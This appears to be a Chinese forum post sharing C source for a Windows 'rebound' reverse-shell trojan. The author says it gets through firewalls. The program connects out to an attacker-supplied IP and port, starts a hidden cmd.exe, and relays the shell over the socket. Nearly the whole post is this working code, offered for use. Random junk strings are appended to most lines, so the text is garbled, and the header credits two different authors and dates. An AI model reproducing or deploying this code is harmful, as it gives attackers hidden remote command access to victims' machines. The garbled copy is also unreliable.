这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KwaxNb5
}BT0dKx
/* ============================== i9qIaG/
Rebound port in Windows NT l44QB8
9
By wind,2006/7 6A=k;do
===============================*/ xH`
VX-X3
#include gzvgXZ1q"
#include 1'p=yHw
LcA7f'GVK
#pragma comment(lib,"wsock32.lib")
<6;@@
)f^^hEIS
void OutputShell(); #b)`as?!1
SOCKET sClient; |N6.:K[`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K%
snE7X?)
LDU4 D
void main(int argc,char **argv) bFL2NH5
{ =(\BM')l
WSADATA stWsaData; Z
Q*hrgQ
int nRet; e, 2/3jO
SOCKADDR_IN stSaiClient,stSaiServer; ;K>'Gl
0uM&F[.x@g
if(argc != 3) >iG3!Td)y
{ Ylu\]pr9|C
printf("Useage:\n\rRebound DestIP DestPort\n"); nIL67&
return; ^jRX6
} *]R5bj.!o
Fkpaou
WSAStartup(MAKEWORD(2,2),&stWsaData); 0:I<TJ~P
#ucb
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jy>?+hm?
8b-mW>xsA
stSaiClient.sin_family = AF_INET; }:$ot18
stSaiClient.sin_port = htons(0); NySa%7@CD
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #UwX~
-(lP8Y~gFY
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Nr*X1lJ6
{ w?8\9\ ;?
printf("Bind Socket Failed!\n"); A1Uy|Dl
return; B1U!*yzG6
} GNrRc3dr$
l.
cp[
stSaiServer.sin_family = AF_INET; cvT@`1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H
n]( )/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?tqJkL#
uF}B:53A
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) za 7+xF
{ @'M"c
q
printf("Connect Error!"); Tjv'S
<
return; aqQ+A:g
} k #\j \t-
OutputShell(); dXM8iP
} PrfG
0nkC%j
void OutputShell() )'RaMo` 4
{ y4I Qa.F
char szBuff[1024]; j6k"%QHf
SECURITY_ATTRIBUTES stSecurityAttributes; uH'? Ikx"
OSVERSIONINFO stOsversionInfo; 8L_OH
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S|@/"?DC
STARTUPINFO stStartupInfo; N`?/kubD
char *szShell; 0T(+z)Ki
PROCESS_INFORMATION stProcessInformation; id8QagJ
unsigned long lBytesRead; =)g}$r
&<
/|}yf/^9X
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !m-`~3P#l,
,:'JJZg@
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $-t@=N@vO?
stSecurityAttributes.lpSecurityDescriptor = 0; /hVwrt(
stSecurityAttributes.bInheritHandle = TRUE; ae@!M
2T(+VeMQ=
3}mg7KV&
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jgPUR#)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MXEI/mDYK
T=sAy/1oR
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `T1bY9O.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =6=:OId
stStartupInfo.wShowWindow = SW_HIDE; 's5rl
stStartupInfo.hStdInput = hReadPipe; ~QPTs1Vk8
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BB69U
gdqBT]j
GetVersionEx(&stOsversionInfo); OX]P;#4tU
^=5y;
switch(stOsversionInfo.dwPlatformId) :WQlpLn
{ ,~1k:>njY~
case 1: > cWE@P
szShell = "command.com"; ]e"!ZR?XJ
break; 5=#d#dDc
default: ao .vB']T
szShell = "cmd.exe"; Lr8|S
break; ~@-r
} ybFxz
~$[fG}C.K
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q^zG+FN
-D=Sj@G
send(sClient,szMsg,77,0); kRX?o'U~C
while(1) GGcODjY>
{ w3>11bE
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F$'u`
if(lBytesRead) $Q'z9ghEg
{ v_/<f&r
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k_1@?&3
send(sClient,szBuff,lBytesRead,0); 4L{]!dox
} e`7>QS;.
else VX8CEO
{ pO:]3qv
lBytesRead=recv(sClient,szBuff,1024,0); C8Mx>6
if(lBytesRead<=0) break; F?H=2mzKbz
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &zEBfr
} =GF=_Ac
} h:?qd
);t+~YPS
return; CqZHs
9+e&
}